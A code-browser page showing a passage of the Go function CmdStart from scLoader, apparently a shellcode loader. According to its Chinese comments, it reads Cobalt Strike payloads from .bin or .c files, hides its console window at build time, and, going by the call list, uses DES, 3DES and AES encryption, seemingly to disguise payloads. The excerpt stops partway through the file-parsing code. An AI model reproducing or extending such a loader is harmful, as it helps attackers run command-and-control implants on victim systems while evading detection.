MCPcopy Create free account
hub / github.com/Peithon/scLoader / CmdStart

Function CmdStart

core/cmd.go:50–137  ·  view source on GitHub ↗
()

Source from the content-addressed store, hash-verified

48}
49
50func CmdStart() {
51 //go build -trimpath -ldflags="-w -s -H=windowsgui"
52 flag.Parse()
53 //定义byte[]类型的shellcode,初始化的数据随便写的
54 shellcode := []byte{0xfc, 0x48, 0x83, 0xe4, 0xf0, 0xe8, 0xcc, 0x00, 0x00, 0x00, 0x41, 0x51, 0x41, 0x50, 0x52}
55 //如果存在未解析的参数, 退出程序
56 if len(flag.Args()) != 0 {
57 os.Exit(3)
58 }
59 if h {
60 flag.Usage()
61 } else if v {
62 fmt.Println("SCLoader version: 1.10.0")
63 } else {
64 var shell string
65 if len(f) == 0 {
66 os.Exit(3)
67 }
68 if strings.EqualFold(path.Ext(path.Base(f)), ".bin") {
69 //CS通过Raw生成的payload.bin中的shellcode可以通过该方式直接读取
70 shellcodeFileData, err := ioutil.ReadFile(f)
71 checkError(err)
72 shellcode = shellcodeFileData
73 } else if strings.EqualFold(path.Ext(path.Base(f)), ".c") {
74 //CS生成C语言的payload.c中的shellcode可以通过该方式读取
75 file, err := os.OpenFile(f, os.O_RDWR, 0666)
76 if err != nil {
77 fmt.Println("Open file error!", err)
78 return
79 }
80 defer file.Close()
81
82 stat, err := file.Stat()
83 if err != nil {
84 panic(err)
85 }
86 var size = stat.Size()
87 fmt.Println("file size=", size)
88 filestr := ""
89 buf := bufio.NewReader(file)
90 for {
91 line, err := buf.ReadString('\n')
92 line = strings.TrimSpace(line)
93 //fmt.Println(line)
94 filestr += line
95 if err != nil {
96 if err == io.EOF {
97 r, _ := regexp.Compile("\"(.*)\"")
98 //fmt.Println(r.FindString(filestr))
99 strReplaceAll := strings.ReplaceAll(r.FindString(filestr), "\\x", "")
100 strReplaceAll = strings.ReplaceAll(strReplaceAll, "\"", "")
101 //fmt.Println(strReplaceAll)
102 shellcode, err = hex.DecodeString(strReplaceAll)
103 if err != nil {
104 fmt.Println(err)
105 }
106 fmt.Println("File read ok!")
107 break

Callers 1

mainFunction · 0.92

Calls 4

checkErrorFunction · 0.85
DesEncryptFunction · 0.85
TripleDesEncryptFunction · 0.85
AesEncryptCBCFunction · 0.85

Tested by

no test coverage detected